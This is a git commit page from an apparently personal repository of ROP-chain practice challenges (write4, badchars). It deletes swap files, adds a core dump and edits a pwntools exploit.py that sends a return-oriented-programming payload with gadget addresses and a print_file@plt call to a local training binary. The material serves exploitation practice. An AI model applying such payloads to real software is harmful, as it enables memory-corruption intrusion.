diff options
| author | Brett Weiland <brett_weiland@bpcspace.com> | 2020-12-16 21:33:39 -0600 |
|---|---|---|
| committer | Brett Weiland <brett_weiland@bpcspace.com> | 2020-12-16 21:33:39 -0600 |
| commit | 3f54969f581fd311c09b1c21758ad9aa4a8784f4 (patch) | |
| tree | 355475d185371a41f66154649b3526367069a52c /x86_64/write4 | |
| parent | 3f0a1e64c7e7b410ad5f4e2024cd692536389449 (diff) | |
new file: x86_64/badchars/exploit.py
new file: x86_64/badchars/exploit_dirty.py
new file: x86_64/badchars/usefullstuff
deleted: x86_64/write4/.exploit.py.swp
deleted: x86_64/write4/.useful_gadgets.swp
modified: x86_64/write4/exploit.py
Diffstat (limited to 'x86_64/write4')
| -rw-r--r-- | x86_64/write4/.exploit.py.swp | bin | 12288 -> 0 bytes | |||
| -rw-r--r-- | x86_64/write4/.useful_gadgets.swp | bin | 12288 -> 0 bytes | |||
| -rw-r--r-- | x86_64/write4/core | bin | 0 -> 4427776 bytes | |||
| -rwxr-xr-x | x86_64/write4/exploit.py | 2 |
4 files changed, 2 insertions, 0 deletions
diff --git a/x86_64/write4/.exploit.py.swp b/x86_64/write4/.exploit.py.swp Binary files differdeleted file mode 100644 index 5602feb..0000000 --- a/x86_64/write4/.exploit.py.swp +++ /dev/null diff --git a/x86_64/write4/.useful_gadgets.swp b/x86_64/write4/.useful_gadgets.swp Binary files differdeleted file mode 100644 index f89dc3e..0000000 --- a/x86_64/write4/.useful_gadgets.swp +++ /dev/null diff --git a/x86_64/write4/core b/x86_64/write4/core Binary files differnew file mode 100644 index 0000000..857be86 --- /dev/null +++ b/x86_64/write4/core diff --git a/x86_64/write4/exploit.py b/x86_64/write4/exploit.py index f8b294e..026687f 100755 --- a/x86_64/write4/exploit.py +++ b/x86_64/write4/exploit.py @@ -1,5 +1,6 @@ #!/usr/bin/env python3 from pwn import * +from time import sleep prog = process('./write4') payload = b'' @@ -15,5 +16,6 @@ payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section payload += p64(0x0000000000400510) # print_file@plt payload += b"\n" prog.sendline(payload) +sleep(0.5) print(str(prog.recv(), 'UTF-8')) prog.close() |